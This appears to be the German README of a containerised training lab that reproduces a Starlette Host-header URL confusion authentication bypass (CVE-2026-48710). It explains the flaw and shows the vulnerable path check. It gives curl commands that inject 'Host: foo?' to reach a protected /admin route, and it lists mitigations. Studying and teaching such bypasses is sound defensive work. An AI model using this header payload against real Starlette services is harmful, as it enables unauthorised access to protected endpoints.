
Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710
Ein eigenständiges, containerisiertes Trainingslabor, das die von X41 D-Sec offengelegte Starlette-Authentifizierungsbypass-Sicherheitslücke reproduziert.
>= 0.8.3, < 1.0.1 (Lab pinnt 0.37.2)1.0.1⚠️ Nur für autorisierte Sicherheitstrainings. Diese App ist absichtlich verwundbar. Nicht in einem erreichbaren Netzwerk bereitstellen.
Starlette leitet eine Anfrage an eine Route weiter, indem es das rohe ASGI scope["path"] verwendet, rekonstruiert aber request.url, indem es den vom Client gelieferten Host-Header in "{scheme}://{host}{path}" einfügt — ohne den Host-Header gemäß RFC 9112 §3.2 zu validieren. Da URL-Metazeichen (?, /, #) ungehindert durchgelassen werden, kann ein Angreifer den rekonstruierten Pfad vom gerouteten Pfad abweichen lassen. Jede Sicherheitsüberprüfung, die gegen request.url.path geschrieben wurde, kann dann umgangen werden, während der Router dennoch den geschützten Handler erreicht.
Die anfällige Middleware erlaubt die Anfrage nur, wenn request.url.path / oder leer ist:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
Sende Host: foo? gegen GET /admin:
| Komponente | Verwendeter Wert |
|---|---|
Router (scope["path"]) |
Das ? macht alles danach zur Query-String, sodass der geparste Pfad leer ist. Die Authentifizierung sieht einen leeren Pfad und lässt ihn durch; der Router bedient trotzdem /admin. Bypass erreicht.
Erfordert Docker + Docker Compose.
docker compose up --build
Zwei Dienste starten:
| Dienst | URL | Verhalten |
|---|---|---|
vulnerable | http://localhost:8000 | umgehbar |
fixed | http://localhost:8001 | abgesichert (zwei Wege) |
# Blockiert normal:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host-Header-Injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Oder führe das geführte PoC-Skript aus:
./exploit/exploit.sh # greift :8000 an (erfolgreich)
./exploit/exploit.sh 8001 # greift :8001 an (fehlschlägt – behoben)
Der verwundbare /admin-Handler gibt einen JSON-Body zurück, der die Verwirrung sichtbar macht – beachte, wie scope_path und reconstructed_path abweichen:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Siehe fixed/fixed_app.py. Zwei unabhängige Gegenmaßnahmen:
request.scope["path"] treffen – demselben rohen Pfad, den der Router verwendet – anstatt des rekonstruierten request.url.path.TrustedHostMiddleware lehnt unerwartete/fehlerhafte Host-Header ab, bevor Anwendungslogik ausgeführt wird, und spiegelt damit das Verhalten eines RFC-konformen Reverse-Proxys (nginx/Apache) upstream.Die echte Korrektur ist einfach Upgrade auf Starlette ≥ 1.0.1, das den Host-Header während der URL-Rekonstruktion validiert.
redirect_uri, Cache-Keys, aus dem Host erstellte Passwort-Reset-Links.)/admin) hier anfälliger als „entscheide über den gerouteten Endpunkt“? Was ist, wenn das Routing case-insensitive ist oder Trailing-Slash-Weiterleitungen hat?0.0.0.0-Tag.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → leitet weiter an admin() |
request.url | http://foo?/admin |
request.url.path | "" → besteht die Authentifizierungsprüfung ✅ |